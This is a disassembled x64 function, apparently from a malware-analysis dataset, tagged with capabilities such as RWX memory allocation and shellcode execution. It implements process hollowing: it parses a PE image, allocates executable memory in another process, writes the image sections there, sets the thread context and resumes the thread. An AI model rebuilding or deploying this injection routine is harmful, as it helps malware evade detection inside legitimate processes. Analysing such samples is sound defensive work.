Function at 0x1401c83f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x100]
xor eax, eax
mov qword [rbp - 0x60], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x1401c8437
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x1401c843a
xor r14d, r14d
call fcn.1400016e2
mov r15, rax
mov qword [rbp - 0x70], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx eax, byte [r15]
mov edx, eax
test edx, edx
je 0x1401c8464
mov edx, dword [rbx + 0x3c]
movsxd r12, edx
add r12, rdi
jmp 0x1401c846d
mov edx, dword [rbx + 0x3c]
movsxd r14, edx
add r14, rdi
test eax, eax
jne 0x1401c8476
mov eax, dword [r14]
jmp 0x1401c847a
mov eax, dword [r12]
cmp eax, 0x4550
jne 0x1401c8f43
call fcn.1401c83a0
test eax, eax
jne 0x1401c8495
mov ecx, 0x40
jmp 0x1401c849a
mov ecx, 0x60
call fcn.1401c9090
mov rdi, rax
call fcn.1401c83a0
test eax, eax
jne 0x1401c84b2
mov ecx, 0x10
jmp 0x1401c84b7
mov ecx, 0x18
movsxd rcx, ecx
call fcn.14016b000
mov rbx, rax
mov qword [rbp - 0x40], rbx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov qword [rbp + 0x10], rsi
mov rcx, qword [rsi + 8]
lea rdx, [0x14042a008]
xor r8d, r8d
xor r9d, r9d
call fcn.1401c90f0
test eax, eax
je 0x1401c8880
test rdi, 0xffffffffffff0000
je 0x1401c853b
mov rcx, rdi
mov qword [rbp - 0x80], rcx
lea rcx, [rbp - 0xb0]
call fcn.140005980
mov rcx, qword [rbp - 0x80]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xb0]
call fcn.1400059d0
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x1401c8e70
mov ecx, dword [r14 + 0x34]
mov edi, ecx
mov rcx, rbx
mov rdx, rdi
call fcn.1401c9520
mov r13, qword [rbx]
mov qword [rbp - 0x68], rbx
call fcn.1401c83a0
test eax, eax
jne 0x1401c8e7a
mov rcx, qword [rbp - 0x68]
mov edx, 4
movsxd rdx, edx
mov rax, qword [rcx + rdx]
mov qword [rbp - 0x48], rax
test r13, r13
je 0x1401c8db2
xor ecx, ecx
test rax, rax
sete cl
test cl, cl
jne 0x1401c8db2
movzx ecx, byte [r15]
test ecx, ecx
jne 0x1401c8e88
mov r8d, dword [r14 + 0x50]
test ecx, ecx
jne 0x1401c8e92
mov r10d, dword [r14 + 0x54]
mov dword [rbp - 0x4c], r10d
test ecx, ecx
jne 0x1401c8e9c
movzx edx, word [r14 + 6]
movzx r11d, dx
mov dword [rbp - 0x50], r11d
test ecx, ecx
jne 0x1401c8ea7
mov r9d, dword [r14 + 0x28]
mov dword [rbp - 0x54], r9d
mov dword [rsp + 0x20], 0x40
mov rcx, r13
mov qword [rbp - 0x80], rcx
mov rdx, rdi
mov qword [rbp - 0x88], rdx
mov dword [rbp - 0x74], r8d
mov r9d, 0x3000
mov dword [rbp - 0x78], r9d
lea rcx, [rbp - 0xb0]
call fcn.140005980
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x88]
mov r8d, dword [rbp - 0x74]
mov r9d, dword [rbp - 0x78]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xb0]
call fcn.1400059d0
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
mov rcx, r13
mov rdx, rsi
mov r9d, dword [rbp - 0x4c]
call fcn.1401c93e0
test eax, eax
je 0x1401c8cf4
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x1401c8eb1
add r14, 0xf8
xor r12d, r12d
cmp dword [rbp - 0x50], 0
jle 0x1401c86c1
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r8
mov r8, qword [rdi + 0x10]
mov edx, dword [r14 + 0x14]
add r8, rdx
mov edx, dword [r14 + 0xc]
add rdx, rsi
mov r9d, dword [r14 + 0x10]
mov rcx, r13
call fcn.1401c93e0
test eax, eax
je 0x1401c8c36
add r14, 0x28
inc r12d
mov ecx, dword [rbp - 0x50]
cmp r12d, ecx
mov dword [rbp - 0x50], ecx
jl 0x1401c8680
cmp byte [r15], 0
jne 0x1401c8ebe
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.14016b000
mov rdi, rax
movzx ecx, byte [r15]
test ecx, ecx
je 0x1401c8ec8
mov dword [rdi + 0x30], 0x10001b
cmp byte [r15], 0
jne 0x1401c8ed3
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401c9280
test eax, eax
je 0x1401c8b78
mov r14d, dword [rdi + 0xa4]
mov r12, qword [rdi + 0x88]
mov rcx, rsi
call fcn.1400cf230
cmp byte [r15], 0
jne 0x1401c8eec
add r14d, 8
movsxd rdx, r14d
lea r9, [rbp - 0x60]
mov qword [rsp + 0x20], r9
mov r9d, dword [rax + 8]
mov rcx, r13
mov r8, rax
call fcn.1401c9470
test eax, eax
je 0x1401c89fc
movzx ecx, byte [r15]
test ecx, ecx
je 0x1401c8ef6
mov r14d, dword [rbp - 0x54]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [r15], 0
jne 0x1401c8f0c
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401c9360
test eax, eax
je 0x1401c893e
mov rcx, qword [rbp - 0x48]
mov qword [rbp - 0x88], rcx
lea rcx, [rbp - 0xb0]
call fcn.140005980
mov rcx, qword [rbp - 0x88]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xb0]
call fcn.1400059d0
jmp 0x1401c8f25
lea rcx, [0x140446750]
call fcn.1400d20a0
mov rsi, rax
lea rcx, [0x14034c9c8]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.1401ac4a0
mov rcx, rdi
mov edx, 2
call fcn.1401acf00
mov rcx, rdi
mov edx, 2
call fcn.1401acf60
lea rcx, [0x14043d8a8]
call fcn.1400d20a0
mov rdx, rax
mov rcx, rdi
call fcn.1401acd80
mov rcx, rdi
call fcn.1401ac5c0
mov rdi, rax
call fcn.140002287
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140453e40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x140330b00]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x140440e50]
call fcn.1400d20a0
mov rsi, rax
lea rcx, [0x14034c9c8]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.1401ac4a0
mov rcx, rdi
mov edx, 2
call fcn.1401acf00
mov rcx, rdi
mov edx, 2
call fcn.1401acf60
lea rcx, [0x14044cdf8]
call fcn.1400d20a0
mov rdx, rax
mov rcx, rdi
call fcn.1401acd80
mov rcx, rdi
call fcn.1401ac5c0
mov rdi, rax
call fcn.140002287
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140453e40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x140330b00]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x140448508]
call fcn.1400d20a0
mov rsi, rax
lea rcx, [0x14034c9c8]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.1401ac4a0
mov rcx, rdi
mov edx, 2
call fcn.1401acf00
mov rcx, rdi
mov edx, 2
call fcn.1401acf60
lea rcx, [0x14044d620]
call fcn.1400d20a0
mov rdx, rax
mov rcx, rdi
call fcn.1401acd80
mov rcx, rdi
call fcn.1401ac5c0
mov rdi, rax
call fcn.140002287
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140453e40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x140330b00]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x140449558]
call fcn.1400d20a0
mov rsi, rax
lea rcx, [0x14034c9c8]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.1401ac4a0
mov rcx, rdi
mov edx, 2
call fcn.1401acf00
mov rcx, rdi
mov edx, 2
call fcn.1401acf60
lea rcx, [0x140448720]
call fcn.1400d20a0
mov rdx, rax
mov rcx, rdi
call fcn.1401acd80
mov rcx, rdi
call fcn.1401ac5c0
mov rdi, rax
call fcn.140002287
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140453e40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x140330b00]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x140447e70]
call fcn.1400d20a0
mov rsi, rax
lea rcx, [0x14034c9c8]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.1401ac4a0
mov rcx, rdi
mov edx, 2
call fcn.1401acf00
mov rcx, rdi
mov edx, 2
call fcn.1401acf60
lea rcx, [0x140445828]
call fcn.1400d20a0
mov rdx, rax
mov rcx, rdi
call fcn.1401acd80
mov rcx, rdi
call fcn.1401ac5c0
mov rdi, rax
call fcn.140002287
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140453e40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x140330b00]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x14042ca38]
call fcn.1400d20a0
mov rsi, rax
lea rcx, [0x14034c9c8]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.1401ac4a0
mov rcx, rdi
mov edx, 2
call fcn.1401acf00
mov rcx, rdi
mov edx, 2
call fcn.1401acf60
lea rcx, [0x140447d70]
call fcn.1400d20a0
mov rdx, rax
mov rcx, rdi
call fcn.1401acd80
mov rcx, rdi
call fcn.1401ac5c0
mov rdi, rax
call fcn.140002287
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140453e40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x140330b00]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x14042bbb0]
call fcn.1400d20a0
mov rsi, rax
lea rcx, [0x14034c9c8]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.1401ac4a0
mov rcx, rdi
mov edx, 2
call fcn.1401acf00
mov rcx, rdi
mov edx, 2
call fcn.1401acf60
lea rcx, [0x140448bc0]
call fcn.1400d20a0
mov rdx, rax
mov rcx, rdi
call fcn.1401acd80
mov rcx, rdi
call fcn.1401ac5c0
mov rdi, rax
call fcn.140002287
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140453e40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x140330b00]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x14044b6d8]
call fcn.1400d20a0
mov rsi, rax
lea rcx, [0x14034c9c8]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.1401ac4a0
mov rcx, rdi
mov edx, 2
call fcn.1401acf00
mov rcx, rdi
mov edx, 2
call fcn.1401acf60
lea rcx, [0x140434fd8]
call fcn.1400d20a0
mov rdx, rax
mov rcx, rdi
call fcn.1401acd80
mov rcx, rdi
call fcn.1401ac5c0
mov rdi, rax
call fcn.140002287
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140453e40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x140330b00]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
lea rcx, [0x140447b80]
call fcn.1400d20a0
mov rsi, rax
lea rcx, [0x14034c9c8]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.1401ac4a0
mov rcx, rdi
mov edx, 2
call fcn.1401acf00
mov rcx, rdi
mov edx, 2
call fcn.1401acf60
lea rcx, [0x14042d310]
call fcn.1400d20a0
mov rdx, rax
mov rcx, rdi
call fcn.1401acd80
mov rcx, rdi
call fcn.1401ac5c0
mov rdi, rax
call fcn.140002287
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140453e40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x140330b00]
call fcn.140004d10
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
mov rdi, qword [r12 + 0x30]
jmp 0x1401c854f
mov rcx, qword [rbp - 0x68]
mov edx, 8
jmp 0x1401c8577
mov r8d, dword [r12 + 0x50]
jmp 0x1401c85ab
mov r10d, dword [r12 + 0x54]
jmp 0x1401c85b7
movzx edx, word [r12 + 6]
jmp 0x1401c85c8
mov r9d, dword [r12 + 0x28]
jmp 0x1401c85dc
lea r14, [r12 + 0x108]
jmp 0x1401c8677
mov ecx, 0x4d0
jmp 0x1401c86d0
mov dword [rdi], 0x10002
jmp 0x1401c86ee
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401c91f0
test eax, eax
je 0x1401c8aba
jmp 0x1401c870c
lea rdx, [r12 + 0x10]
jmp 0x1401c8733
mov r14d, dword [rbp - 0x54]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x1401c8770
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401c9300
test eax, eax
je 0x1401c87c2
jmp 0x1401c878e
mov rcx, r13
call fcn.1401c9870
nop
nop
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x14044bb20]
call fcn.1400d20a0
mov rbx, rax
lea rcx, [0x14034c9c8]
call fcn.140004d10
mov rsi, rax
mov rcx, rsi
call fcn.1401ac4a0
mov rcx, rsi
mov edx, 2
call fcn.1401acf00
mov rcx, rsi
mov edx, 2
call fcn.1401acf60
lea rcx, [0x1404394c8]
call fcn.1400d20a0
mov rdx, rax
mov rcx, rsi
call fcn.1401acd80
mov rcx, rsi
call fcn.1401ac5c0
mov rsi, rax
call fcn.140002287
mov rdi, qword [rax + 8]
mov r9d, dword [rbx + 8]
mov rcx, rsi
mov rdx, rbx
lea r10, [0x140453e40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rdi
mov rax, qword [rdi]
call qword [rax + 0xe8]
mov rsi, rax
lea rcx, [0x140330b00]
call fcn.140004d10
mov rdi, rax
mov rcx, rdi
call fcn.1400c9c40
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140005020
mov rcx, rdi
call fcn.140005270
int3